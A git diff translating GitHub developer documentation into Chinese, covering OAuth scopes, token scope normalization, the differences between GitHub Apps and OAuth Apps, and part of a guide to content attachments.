+| **`repo`**               | 授予对仓库（包括私有仓库）的完全访问权限。 这包括对仓库和组织的代码、提交状态、仓库和组织项目、邀请、协作者、添加团队成员身份、部署状态以及仓库 web 挂钩的读取/写入权限。 还授予管理用户项目的权限。                                                                                                                                                                                                                                                                                                                                |
+| &emsp;`repo:status`      | Grants read/write access to commit statuses in {% ifversion fpt %}public and private{% elsif ghec or ghes %}public, private, and internal{% elsif ghae %}private and internal{% endif %} repositories. 仅在授予其他用户或服务对私有仓库提交状态的访问权限而*不*授予对代码的访问权限时，才需要此作用域。                                                                                                                                                                              |
+| &emsp;`repo_deployment`  | 授予对{% ifversion not ghae %}公共{% else %}内部{% endif %}和私有仓库的[部署状态](/rest/reference/repos#deployments)的访问权限。 仅在授予其他用户或服务对部署状态的访问权限而*不*授予对代码的访问权限时，才需要此作用域。{% ifversion not ghae %}
+| &emsp;`public_repo`      | 将访问权限限制为公共仓库。 这包括对公共仓库和组织的代码、提交状态、仓库项目、协作者以及部署状态的读取/写入权限。 标星公共仓库也需要此权限。{% endif %}
+| &emsp;`repo:invite`      | 授予接受/拒绝仓库协作邀请的权限。 仅在授予其他用户或服务对邀请的访问权限而*不*授予对代码的访问权限时，才需要此作用域。{% ifversion fpt or ghes > 3.0 or ghec %}
+| &emsp;`security_events`  | 授予：<br/>对 [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning) 中安全事件的读取和写入权限<br/>对 [{% data variables.product.prodname_secret_scanning %} API](/rest/reference/secret-scanning) 中安全事件的读取和写入权限<br/>仅在授予其他用户或服务对安全事件的访问权限而*不*授予对代码的访问权限时，才需要此作用域。{% endif %}{% ifversion ghes < 3.1 %}
+| &emsp;`security_events`  | 授予对 [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning) 中安全事件的读取和写入权限。 仅在授予其他用户或服务对安全事件的访问权限而*不*授予对代码的访问权限时，才需要此作用域。{% endif %}
+| **`admin:repo_hook`**    | Grants read, write, ping, and delete access to repository hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. The `repo` {% ifversion fpt or ghec or ghes %}and `public_repo` scopes grant{% else %}scope grants{% endif %} full access to repositories, including repository hooks. 使用 `admin:repo_hook` 作用域将访问权限限制为仅仓库挂钩。 |
+| &emsp;`write:repo_hook`  | Grants read, write, and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories.                                                                                                                                                                                                                                  |
+| &emsp;`read:repo_hook`   | Grants read and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories.                                                                                                                                                                                                                                          |
+| **`admin:org`**          | 全面管理组织及其团队、项目和成员。                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| &emsp;`write:org`        | 对组织成员身份、组织项目和团队成员身份的读取和写入权限。                                                                                                                                                                                                                                                                                                                                                                                                          |
+| &emsp;`read:org`         | 对组织成员身份、组织项目和团队成员身份的只读权限。                                                                                                                                                                                                                                                                                                                                                                                                             |
+| **`admin:public_key`**   | 全面管理公钥。                                                                                                                                                                                                                                                                                                                                                                                                                               |
+| &emsp;`write:public_key` | 创建、列出和查看公钥的详细信息。                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| &emsp;`read:public_key`  | 列出和查看公钥的详细信息。                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| **`admin:org_hook`**     | 授予对组织挂钩的读取、写入、ping 和删除权限。 **注：**OAuth 令牌只能对由 OAuth 应用程序创建的组织挂钩执行这些操作。 个人访问令牌只能对用户创建的组织挂钩执行这些操作。                                                                                                                                                                                                                                                                                                                                       |
+| **`gist`**               | 授予对 gist 的写入权限。                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| **`通知`**                 | 授予：<br/>* 对用户通知的读取权限 <br/>* 对线程的标记读取权限 <br/>* 对仓库的关注和取消关注权限，以及<br/>* 对线程订阅的读取、写入和删除权限。                                                                                                                                                                                                                                                                                                                        |
+| **`用户`**                 | 仅授予对个人资料的读取/写入权限。  请注意，此作用域包括 `user:email` 和 `user:follow`。                                                                                                                                                                                                                                                                                                                                                                           |
+| &emsp;`read:user`        | 授予读取用户个人资料数据的权限。                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| &emsp;`user:email`       | 授予对用户电子邮件地址的读取权限。                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| &emsp;`user:follow`      | 授予关注或取消关注其他用户的权限。                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| **`delete_repo`**        | 授予删除可管理仓库的权限。                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| **`write:discussion`**   | 授予对团队讨论的读取和写入权限。                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| &emsp;`read:discussion`  | 授予对团队讨论的读取权限。{% ifversion fpt or ghae or ghec %}
+| **`write:packages`**     | 授予在 {% data variables.product.prodname_registry %} 中上传或发布包的权限。 更多信息请参阅“[发布包](/github/managing-packages-with-github-packages/publishing-a-package)”。                                                                                                                                                                                                                                                                                   |
+| **`read:packages`**      | 授予从 {% data variables.product.prodname_registry %} 下载或安装包的权限。 更多信息请参阅“[安装包](/github/managing-packages-with-github-packages/installing-a-package)”。                                                                                                                                                                                                                                                                                    |
+| **`delete:packages`**    | 授予从 {% data variables.product.prodname_registry %} 删除包的权限。 For more information, see "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}."{% endif %}
+| **`admin:gpg_key`**      | 全面管理 GPG 密钥。                                                                                                                                                                                                                                                                                                                                                                                                                          |
+| &emsp;`write:gpg_key`    | 创建、列出和查看 GPG 密钥的详细信息。                                                                                                                                                                                                                                                                                                                                                                                                                 |
+| &emsp;`read:gpg_key`     | 列出和查看 GPG 密钥的详细信息。{% ifversion fpt or ghec %}
+| **`代码空间`**               | Grants the ability to create and manage codespaces. Codespaces can expose a GITHUB_TOKEN which may have a different set of scopes. For more information, see "[Security in Codespaces](/codespaces/codespaces-reference/security-in-codespaces#authentication)."{% endif %}
+| **`工作流程`**               | 授予添加和更新 {% data variables.product.prodname_actions %} 工作流程文件的权限。 如果在同一仓库中的另一个分支上存在相同的文件(具有相同的路径和内容)，则工作流程文件可以在没有此作用域的情况下提交。 工作流程文件可以暴露可能有不同范围集的 `GITHUB_TOKEN`。 更多信息请参阅“[工作流程中的身份验证](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)。                                                                                                                                                               |
 
 {% note %}
 
-**Note:** Your OAuth App can request the scopes in the initial redirection. You
-can specify multiple scopes by separating them with a space using `%20`:
+**注：**您的 OAuth 应用程序可以在初始重定向中请求作用域。 您可以使用 `%20` 以空格分隔多个作用域来指定它们：
 
     https://github.com/login/oauth/authorize?
       client_id=...&
@@ -88,31 +88,16 @@ can specify multiple scopes by separating them with a space using `%20`:
 
 {% endnote %}
 
-## Requested scopes and granted scopes
+## 请求的作用域和授予的作用域
 
-The `scope` attribute lists scopes attached to the token that were granted by
-the user. Normally, these scopes will be identical to what you requested.
-However, users can edit their scopes, effectively
-granting your application less access than you originally requested. Also, users
-can edit token scopes after the OAuth flow is completed.
-You should be aware of this possibility and adjust your application's behavior
-accordingly.
+`scope` 属性列出了用户授予的附加到令牌的作用域。 通常，这些作用域与您请求的作用域相同。 但是，用户可以编辑其作用域，实际上授予应用程序更少的权限（相比您最初请求的权限）。 此外，用户还可以在 OAuth 流程完成后编辑令牌作用域。 您应该意识到这种可能性，并相应地调整应用程序的行为。
 
-It's important to handle error cases where a user chooses to grant you
-less access than you originally requested. For example, applications can warn
-or otherwise communicate with their users that they will see reduced
-functionality or be unable to perform some actions.
+如果用户选择授予更少的权限（相比您最初请求的权限），妥善处理这种错误情况非常重要。 例如，应用程序可以警告或以其他方式告诉用户，他们可用的功能会减少或者无法执行某些操作。
 
-Also, applications can always send users back through the flow again to get
-additional permission, but don’t forget that users can always say no.
+此外，应用程序总是可以将用户送回流程以获取更多权限，但不要忘记，用户总是可以说不。
 
-Check out the [Basics of Authentication guide](/guides/basics-of-authentication/), which
-provides tips on handling modifiable token scopes.
+请查看[身份验证基础知识指南](/guides/basics-of-authentication/)，其中提供了有关处理可修改令牌作用域的提示。
 
-## Normalized scopes
+## 标准化作用域
 
-When requesting multiple scopes, the token is saved with a normalized list
-of scopes, discarding those that are implicitly included by another requested
-scope. For example, requesting `user,gist,user:email` will result in a
-token with `user` and `gist` scopes only since the access granted with
-`user:email` scope is included in the `user` scope.
+请求多个作用域时，将用标准化的作用域列表保存令牌，而放弃其他请求的作用域隐式包含的那些作用域。 例如，请求 `user,gist,user:email` 将生成仅具有 `user` 和 `gist` 作用域的令牌，因为使用 `user:email` 作用域授予的权限包含在 `user` 作用域中。
diff --git a/translations/zh-CN/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md b/translations/zh-CN/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md
index 6e2ffa00ba..ecc0420a43 100644
--- a/translations/zh-CN/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md
+++ b/translations/zh-CN/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md
@@ -1,6 +1,6 @@
 ---
-title: Differences between GitHub Apps and OAuth Apps
-intro: 'Understanding the differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} will help you decide which app you want to create. An {% data variables.product.prodname_oauth_app %} acts as a GitHub user, whereas a {% data variables.product.prodname_github_app %} uses its own identity when installed on an organization or on repositories within an organization.'
+title: GitHub 应用程序和 OAuth 应用程序之间的差异
+intro: '了解 {% data variables.product.prodname_github_apps %} 和 {% data variables.product.prodname_oauth_apps %} 之间的差异可帮助您决定要创建哪个应用程序。 在组织或组织内的仓库上安装时，{% data variables.product.prodname_oauth_app %} 代表 GitHub 用户，而 {% data variables.product.prodname_github_app %} 使用它自己的身份。'
 redirect_from:
   - /early-access/integrations/integrations-vs-oauth-applications
   - /apps/building-integrations/setting-up-a-new-integration/about-choosing-an-integration-type
@@ -14,99 +14,100 @@ versions:
 topics:
   - GitHub Apps
   - OAuth Apps
-shortTitle: GitHub Apps & OAuth Apps
+shortTitle: GitHub 应用程序与 OAuth 应用程序
 ---
-## Who can install GitHub Apps and authorize OAuth Apps?
 
-You can install GitHub Apps in your personal account or organizations you own. If you have admin permissions in a repository, you can install GitHub Apps on organization accounts. If a GitHub App is installed in a repository and requires organization permissions, the organization owner must approve the application.
+## 谁可以安装 GitHub 应用程序并授权 OAuth 应用程序？
+
+您可以在您的个人帐户或您拥有的组织中安装 GitHub 应用程序。 如果拥有仓库管理员权限，您可以在组织帐户上安装 GitHub 应用程序。 如果 GitHub 应用程序安装在仓库中，并且需要组织权限，则组织所有者必须批准该应用程序。
 
 {% data reusables.apps.app_manager_role %}
 
-By contrast, users _authorize_ OAuth Apps, which gives the app the ability to act as the authenticated user. For example, you can authorize an OAuth App that finds all notifications for the authenticated user. You can always revoke permissions from an OAuth App.
+相比之下，一旦用户_授权_ OAuth 应用程序，该应用程序就能代表经身份验证的用户。 例如，您可以授权 OAuth 应用程序查找经身份验证用户的所有通知。 您可以随时撤销 OAuth 应用程序的权限。
 
 {% data reusables.apps.deletes_ssh_keys %}
 
-| GitHub Apps | OAuth Apps |
-| ----- | ------ |
-| You must be an organization owner or have admin permissions in a repository to install a GitHub App on an organization. If a GitHub App is installed in a repository and requires organization permissions, the organization owner must approve the application. | You can authorize an OAuth app to have access to resources. |
-| You can install a GitHub App on your personal repository. | You can authorize an OAuth app to have access to resources.|
-| You must be an organization owner, personal repository owner, or have admin permissions in a repository to uninstall a GitHub App and remove its access. | You can delete an OAuth access token to remove access. |
-| You must be an organization owner or have admin permissions in a repository to request a GitHub App installation. | If an organization application policy is active, any organization member can request to install an OAuth App on an organization. An organization owner must approve or deny the request. |
+| GitHub 应用程序                                                                              | OAuth 应用程序                                                   |
+| ---------------------------------------------------------------------------------------- | ------------------------------------------------------------ |
+| 您必须是组织所有者或者具有仓库管理员权限才能在组织上安装 GitHub 应用程序。 如果 GitHub 应用程序安装在仓库中，并且需要组织权限，则组织所有者必须批准该应用程序。 | 您可以授权 OAuth 应用程序访问资源。                                        |
+| 您可以在个人仓库上安装 GitHub 应用程序。                                                                 | 您可以授权 OAuth 应用程序访问资源。                                        |
+| 您必须是组织所有者、个人仓库所有者或者拥有仓库的管理员权限才能卸载 GitHub 应用程序和删除其访问权限。                                   | 您可以删除 OAuth 访问令牌以删除访问权限。                                     |
+| 您必须是组织所有者或者具有仓库管理员权限才能请求安装 GitHub 应用程序。                                                  | 如果组织应用程序策略已激活，则任何组织成员都可以请求在组织上安装 OAuth 应用程序。 组织所有者必须批准或拒绝请求。 |
 
-## What can GitHub Apps and OAuth Apps access?
+## GitHub 应用程序和 OAuth 应用程序可以访问什么？
 
-Account owners can use a {% data variables.product.prodname_github_app %} in one account without granting access to another. For example, you can install a third-party build service on your employer's organization, but decide not to grant that build service access to repositories in your personal account. A GitHub App remains installed if the person who set it up leaves the organization.
+帐户所有者可以在一个帐户中使用 {% data variables.product.prodname_github_app %} ，而不授予对其他帐户的访问权限。 例如，您可以在您的雇主组织中安装第三方构建服务，但决定不授权该构建服务访问您个人帐户中的仓库。 即使安装者离开组织，GitHub 应用程序仍然存在。
 
-An _authorized_ OAuth App has access to all of the user's or organization owner's accessible resources.
+_授权的_ OAuth 应用程序有权访问用户或组织所有者可访问的所有资源。
 
-| GitHub Apps | OAuth Apps |
-| ----- | ------ |
-| Installing a GitHub App grants the app access to a user or organization account's chosen repositories. | Authorizing an OAuth App grants the app access to the user's accessible resources. For example, repositories they can access. |
-| The installation token from a GitHub App loses access to resources if an admin removes repositories from the installation. | An OAuth access token loses access to resources when the user loses access, such as when they lose write access to a repository. |
-| Installation access tokens are limited to specified repositories with the permissions chosen by the creator of the app. | An OAuth access token is limited via scopes. |
-| GitHub Apps can request separate access to issues and pull requests without accessing the actual contents of the repository. | OAuth Apps need to request the `repo` scope to get access to issues, pull requests, or anything owned by the repository. |
-| GitHub Apps aren't subject to organization application policies. A GitHub App only has access to the repositories an organization owner has granted. | If an organization application policy is active, only an organization owner can authorize the installation of an OAuth App. If installed, the OAuth App gains access to anything visible to the token the organization owner has within the approved organization. |
-| A GitHub App receives a webhook event when an installation is changed or removed. This tells the app creator when they've received more or less access to an organization's resources. | OAuth Apps can lose access to an organization or repository at any time based on the granting user's changing access. The OAuth App will not inform you when it loses access to a resource. |
+| GitHub 应用程序                                                          | OAuth 应用程序                                                                         |
+| -------------------------------------------------------------------- | ---------------------------------------------------------------------------------- |
+| 安装 GitHub 应用程序将授予该应用程序访问用户或组织帐户所选仓库的权限。                              | 授权 OAuth 应用程序将授予该应用程序访问用户可访问资源的权限。 例如，他们可以访问的仓库。                                   |
+| 如果管理员从安装中删除仓库，则 GitHub 应用程序的安装令牌将失去对资源的访问权限。                         | 当用户失去对资源的访问权限时，例如失去对仓库的写入权限，OAuth 访问令牌也会失去相应的访问权限。                                 |
+| 安装访问令牌仅限于指定的仓库，其权限由应用程序创建者选择。                                        | OAuth 访问令牌受作用域限制。                                                                  |
+| GitHub Apps 可以请求单独访问议题和拉取请求，而不访问仓库的实际内容。                             | OAuth 应用程序需要请求 `repo` 作用域才能访问议题、拉取请求或仓库拥有的任何内容。                                    |
+| GitHub 应用程序不受组织应用程序策略的约束。 GitHub 应用程序只能访问组织所有者授权的仓库。                 | 如果组织应用程序策略已激活，则只有组织所有者才能授权安装 OAuth 应用程序。 安装后，OAuth 应用程序将有权访问组织所有者在批准组织内的令牌可见的任何内容。 |
+| 当安装被更改或删除时，GitHub 应用程序会收到 web 挂钩事件。 当它们对组织资源的访问权限扩大或缩小时，这将告诉应用程序创建者。 | 根据授予用户访问权限的变化，OAuth 应用程序可能会随时失去对组织或仓库的访问权限。 OAuth 应用程序在失去对资源的访问权限时不会通知您。           |
 
-## Token-based identification
+## 基于令牌的识别
 
 {% note %}
 
-**Note:** GitHub Apps can also use a user-based token. For more information, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+**注：**GitHub 应用程序也可以使用基于用户的令牌。 更多信息请参阅“[识别和授权 GitHub 应用程序用户](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)”。
 
 {% endnote %}
 
-| GitHub Apps | OAuth Apps |
-| ----- | ----------- |
-| A GitHub App can request an installation access token by using a private key with a JSON web token format out-of-band. | An OAuth app can exchange a request token for an access token after a redirect via a web request. |
-| An installation token identifies the app as the GitHub Apps bot, such as @jenkins-bot. | An access token identifies the app as the user who granted the token to the app, such as @octocat. |
-| Installation tokens expire after a predefined amount of time (currently 1 hour). | OAuth tokens remain active until they're revoked by the customer. |
-| {% data reusables.apps.api-rate-limits-non-ghec %}{% ifversion fpt or ghec %} Higher rate limits apply for {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Rate limits for GitHub Apps](/developers/apps/rate-limits-for-github-apps)."{% endif %} | OAuth tokens use the user's rate limit of 5,000 requests per hour. |
-| Rate limit increases can be granted both at the GitHub Apps level (affecting all installations) and at the individual installation level. | Rate limit increases are granted per OAuth App. Every token granted to that OAuth App gets the increased limit. |
-| {% data variables.product.prodname_github_apps %} can authenticate on behalf of the user, which is called user-to-server requests. The flow to authorize is the same as the OAuth App authorization flow. User-to-server tokens can expire and be renewed with a refresh token. For more information, see "[Refreshing user-to-server access tokens](/apps/building-github-apps/refreshing-user-to-server-access-tokens/)" and "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)." | The OAuth flow used by {% data variables.product.prodname_oauth_apps %} authorizes an {% data variables.product.prodname_oauth_app %} on behalf of the user. This is the same flow used in {% data variables.product.prodname_github_app %} user-to-server authorization. |
+| GitHub 应用程序                                                                                                                                                                                                                                                                                                                           | OAuth 应用程序                                                                                                                                                                                         |
+| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| GitHub 应用可以使用带外 JSON Web 令牌格式的私钥请求安装访问令牌。                                                                                                                                                                                                                                                                                             | OAuth 应用程序可以通过 Web 请求在重定向后将请求令牌交换为访问令牌。                                                                                                                                                            |
+| 安装程序将应用程序识别为 GitHub 应用自动程序，例如 @jenkins-bot。                                                                                                                                                                                                                                                                                           | 访问令牌将应用程序识别为向应用程序授予令牌的用户，例如 @octocat。                                                                                                                                                              |
+| 安装令牌在预定义的时间（当前为 1 小时）后过期。                                                                                                                                                                                                                                                                                                             | OAuth 令牌在被客户撤销之前一直保持活动状态。                                                                                                                                                                          |
+| {% data reusables.apps.api-rate-limits-non-ghec %}{% ifversion fpt or ghec %} 更高的速率限制适用于 {% data variables.product.prodname_ghe_cloud %}。 更多信息请参阅“[GitHub 应用程序的速率限制](/developers/apps/rate-limits-for-github-apps)”。{% endif %}                                                                                                     | OAuth 令牌使用用户的每小时 5,000 个请求的速率限制。                                                                                                                                                                   |
+| 速率限制的增加可在 GitHub 应用程序级别（影响所有安装）和单个安装级别上授予。                                                                                                                                                                                                                                                                                            | 速率限制的增加按 OAuth 应用程序授予。 授予该 OAuth 应用程序的每个令牌都会获得增加的上限。                                                                                                                                               |
+| {% data variables.product.prodname_github_apps %} 可以代表用户进行身份验证，这称为用户到服务器请求。 授权流程与 OAuth 应用程序授权流程相同。 用户到服务器令牌可能会过期，可通过刷新令牌进行续订。 更多信息请参阅“[刷新用户到服务器访问令牌](/apps/building-github-apps/refreshing-user-to-server-access-tokens/)”和“[识别和授权 GitHub 应用程序用户](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)”。 | {% data variables.product.prodname_oauth_apps %} 使用的 OAuth 流程代表用户授权 {% data variables.product.prodname_oauth_app %}。 这与用于 {% data variables.product.prodname_github_app %} 用户到服务器授权中使用的流程相同。 |
 
-## Requesting permission levels for resources
+## 请求资源的权限级别
 
-Unlike OAuth apps, GitHub Apps have targeted permissions that allow them to request access only to what they need. For example, a Continuous Integration (CI) GitHub App can request read access to repository content and write access to the status API. Another GitHub App can have no read or write access to code but still have the ability to manage issues, labels, and milestones. OAuth Apps can't use granular permissions.
+与 OAuth 应用程序不同，GitHub 应用程序具有针对性的权限，只允许它们请求访问所需的资源。 例如，持续集成 (CI) GitHub 应用程序可以请求对仓库内容的读取权限和对状态 API 的写入权限。 另一个 GitHub 应用程序可能没有对代码的读取或写入权限，但仍能管理议题、标签和里程碑。 OAuth 应用程序不能使用精细权限。
 
-| Access | GitHub Apps (`read` or `write` permissions) | OAuth Apps |
-| ------ | ----- | ----------- |
-| **For access to public repositories** | Public repository needs to be chosen during installation. | `public_repo` scope. |
-| **For access to repository code/contents** | Repository contents | `repo` scope. |
-| **For access to issues, labels, and milestones** | Issues | `repo` scope. |
-| **For access to pull requests, labels, and milestones** | Pull requests | `repo` scope. |
-| **For access to commit statuses (for CI builds)** | Commit statuses | `repo:status` scope. |
-| **For access to deployments and deployment statuses** | Deployments | `repo_deployment` scope. |
-| **To receive events via a webhook** | A GitHub App includes a webhook by default. | `write:repo_hook` or `write:org_hook` scope. |
+| 访问                   | GitHub 应用程序（`read` 或 `write` 权限） | OAuth 应用程序                                |
+| -------------------- | -------------------------------- | ----------------------------------------- |
+| **访问公共仓库**           | 需要在安装过程中选择公共仓库。                  | `public_repo` 作用域。                        |
+| **访问仓库代码/内容**        | 仓库内容                             | `repo` 作用域。                               |
+| **获取议题、标签和里程碑**      | 议题                               | `repo` 作用域。                               |
+| **获取拉取请求、标签和里程碑**    | 拉取请求                             | `repo` 作用域。                               |
+| **访问提交状态（对于 CI 构建）** | 提交状态                             | `repo:status` 作用域。                        |
+| **访问部署和部署状态**        | 部署                               | `repo_deployment` 作用域。                    |
+| **通过 web 挂钩接收事件**    | GitHub 应用程序默认包含一个 web 挂钩。        | `write:repo_hook` 或 `write:org_hook` 作用域。 |
 
-## Repository discovery
+## 仓库发现
 
-| GitHub Apps | OAuth Apps |
-| ----- | ----------- |
-| GitHub Apps can look at `/installation/repositories` to see repositories the installation can access. | OAuth Apps can look at `/user/repos` for a user view or `/orgs/:org/repos` for an organization view of accessible repositories. |
-| GitHub Apps receive webhooks when repositories are added or removed from the installation. | OAuth Apps create organization webhooks for notifications when a new repository is created within an organization. |
+| GitHub 应用程序                                               | OAuth 应用程序                                                              |
+| --------------------------------------------------------- | ----------------------------------------------------------------------- |
+| GitHub 应用程序可以访问 `/installation/repositories` 以查看安装可访问的仓库。 | OAuth 应用程序可访问用户视图中的 `/user/repos` 或组织视图中的 `/orgs/:org/repos` 以查看可访问的资源。 |
+| 当从安装中添加或删除仓库时，GitHub 应用程序会接收 web 挂钩。                      | 在组织内创建新仓库时，OAuth 应用程序为通知创建组织 web 挂钩。                                    |
 
-## Webhooks
+## Web 挂钩
 
-| GitHub Apps | OAuth Apps |
-| ----- | ----------- |
-| By default, GitHub Apps have a single webhook that receives the events they are configured to receive for every repository they have access to. | OAuth Apps request the webhook scope to create a repository webhook for each repository they need to receive events from. |
-| GitHub Apps receive certain organization-level events with the organization member's permission. | OAuth Apps request the organization webhook scope to create an organization webhook for each organization they need to receive organization-level events from. |
+| GitHub 应用程序                                         | OAuth 应用程序                                              |
+| --------------------------------------------------- | ------------------------------------------------------- |
+| 默认情况下，GitHub 应用程序有一个 web 挂钩，可根据配置接收它们有权访问的每个仓库中的事件。 | OAuth 应用程序请求 web 挂钩作用域为它们需要接收其事件的每个仓库创建仓库 web 挂钩。       |
+| GitHub 应用程序使用组织成员的权限接收某些组织级别的事件。                    | OAuth 应用程序请求组织 web 挂钩作用域为它们需要接收其组织级别事件的每个组织创建组织 web 挂钩。 |
 
-## Git access
+## Git 访问
 
-| GitHub Apps | OAuth Apps |
-| ----- | ----------- |
-| GitHub Apps ask for repository contents permission and use your installation token to authenticate via [HTTP-based Git](/apps/building-github-apps/authenticating-with-github-apps/#http-based-git-access-by-an-installation). | OAuth Apps ask for `write:public_key` scope and [Create a deploy key](/rest/reference/deployments#create-a-deploy-key) via the API. You can then use that key to perform Git commands. |
-| The token is used as the HTTP password. | The token is used as the HTTP username. |
+| GitHub 应用程序                                                                                                                                                | OAuth 应用程序                                                                                                                   |
+| ---------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- |
+| GitHub 应用程序请求仓库内容权限，并使用安装令牌通过[基于 HTTP 的 Git](/apps/building-github-apps/authenticating-with-github-apps/#http-based-git-access-by-an-installation) 进行身份验证。 | OAuth 应用程序请求 `write:public_key` 作用域，并通过 API [创建部署密钥](/rest/reference/deployments#create-a-deploy-key)。 然后您可以使用该密钥来执行 Git 命令。 |
+| 令牌用作 HTTP 密码。                                                                                                                                              | 令牌用作 HTTP 用户名。                                                                                                               |
 
-## Machine vs. bot accounts
+## 机器与机器人帐户
 
-Machine user accounts are OAuth-based user accounts that segregate automated systems using GitHub's user system.
+机器用户帐户是基于 OAuth 的用户帐户，它使用 GitHub 的用户系统隔离自动系统。
 
-Bot accounts are specific to GitHub Apps and are built into every GitHub App.
+机器人帐户特定于 GitHub 应用，并内置于每个 GitHub 应用程序中。
 
-| GitHub Apps | OAuth Apps |
-| ----- | ----------- |
-| GitHub App bots do not consume a {% data variables.product.prodname_enterprise %} seat. | A machine user account consumes a {% data variables.product.prodname_enterprise %} seat. |
-| Because a GitHub App bot is never granted a password, a customer can't sign into it directly. | A machine user account is granted a username and password to be managed and secured by the customer. |
+| GitHub 应用程序                                                            | OAuth 应用程序                                                    |
+| ---------------------------------------------------------------------- | ------------------------------------------------------------- |
+| GitHub 应用程序机器人不占用 {% data variables.product.prodname_enterprise %} 席位。 | 机器用户帐户占用 {% data variables.product.prodname_enterprise %} 席位。 |
+| 由于 GitHub 应用程序机器人永远不会被授予密码，因此客户无法直接登录它。                                | 机器用户帐户被授予由客户管理和保护的用户名和密码。                                     |
diff --git a/translations/zh-CN/content/developers/apps/guides/using-content-attachments.md b/translations/zh-CN/content/developers/apps/guides/using-content-attachments.md
index 8b8ddf5c68..822f7cbea7 100644
--- a/translations/zh-CN/content/developers/apps/guides/using-content-attachments.md
+++ b/translations/zh-CN/content/developers/apps/guides/using-content-attachments.md
@@ -1,42 +1,43 @@
 ---
-title: Using content attachments
-intro: Content attachments allow a GitHub App to provide more information in GitHub for URLs that link to registered domains. GitHub renders the information provided by the app under the URL in the body or comment of an issue or pull request.
+title: 使用内容附件
+intro: 内容附件允许 GitHub 应用程序在 GitHub 中为链接到注册域的 URL 提供更多信息。 GitHub 可渲染应用程序在正文或者议题或拉取请求注释中的 URL 下提供的信息。
 redirect_from:
   - /apps/using-content-attachments
   - /developers/apps/using-content-attachments
 versions:
-  ghes: '<3.4'
+  ghes: <3.4
 topics:
   - GitHub Apps
 ---
+
 {% data reusables.pre-release-program.content-attachments-public-beta %}
 
-## About content attachments
+## 关于内容附件
 
-A GitHub App can register domains that will trigger `content_reference` events. When someone includes a URL that links to a registered domain in the body or comment of an issue or pull request, the app receives the [`content_reference` webhook](/webhooks/event-payloads/#content_reference). You can use content attachments to visually provide more context or data for the URL added to an issue or pull request. The URL must be a fully-qualified URL, starting with either `http://` or `https://`. URLs that are part of a markdown link are ignored and don't trigger the `content_reference` event.
+GitHub 应用程序可以注册将触发 `content_reference` 事件的域。 当有人在正文或者议题或拉取请求的注释中包含链接到注册域的 URL 时，应用程序会收到 [`content_reference` web 挂钩](/webhooks/event-payloads/#content_reference)。 您可以使用内容附件直观地为添加到议题或拉取请求的 URL 提供更多的上下文或数据。 URL 必须是完全合格的 URL，以 `http://` 或 `https://` 开头。 作为 Markdown 链接一部分的 URL 将被忽略，不会触发 `content_reference` 事件。
 
-Before you can use the {% data variables.product.prodname_unfurls %} API, you'll need to configure content references for your GitHub App:
-* Give your app `Read & write` permissions for "Content references."
-* Register up to 5 valid, publicly accessible domains when configuring the "Content references" permission. Do not use IP addresses when configuring content reference domains. You can register a domain name (example.com) or a subdomain (subdomain.example.com).
-* Subscribe your app to the "Content reference" event.
+在使用 {% data variables.product.prodname_unfurls %} API 之前，您需要为 GitHub 应用程序配置内容引用：
+* 为应用程序提供对“内容引用”的 `Read & write` 权限。
+* 配置“内容引用”权限时，注册最多 5 个有效且可公开访问的域。 配置内容引用域时不要使用 IP 地址。 您可以注册域名 (example.com) 或子域 (subdomain.example.com)。
+* 让应用程序订阅“内容引用”事件。
 
-Once your app is installed on a repository, issue or pull request comments in the repository that contain URLs for your registered domains will generate a content reference event. The app must create a content attachment within six hours of the content reference URL being posted.
+将应用程序安装到仓库中后，仓库中包含注册域 URL 的议题或拉取请求注释将生成内容引用事件。 应用程序必须在发布内容引用 URL 后六小时内创建内容附件。
 
-Content attachments will not retroactively update URLs. It only works for URLs added to issues or pull requests after you configure the app using the requirements outlined above and then someone installs the app on their repository.
+内容附件不会追溯更新 URL。 只有在您根据上述要求配置了应用程序，并且有人在其仓库中安装应用程序之后，它才会更新添加到议题或拉取请求中的 URL。
 
-See "[Creating a GitHub App](/apps/building-github-apps/creating-a-github-app/)" or "[Editing a GitHub App's permissions](/apps/managing-github-apps/editing-a-github-app-s-permissions/)" for the steps needed to configure GitHub App permissions and event subscriptions.
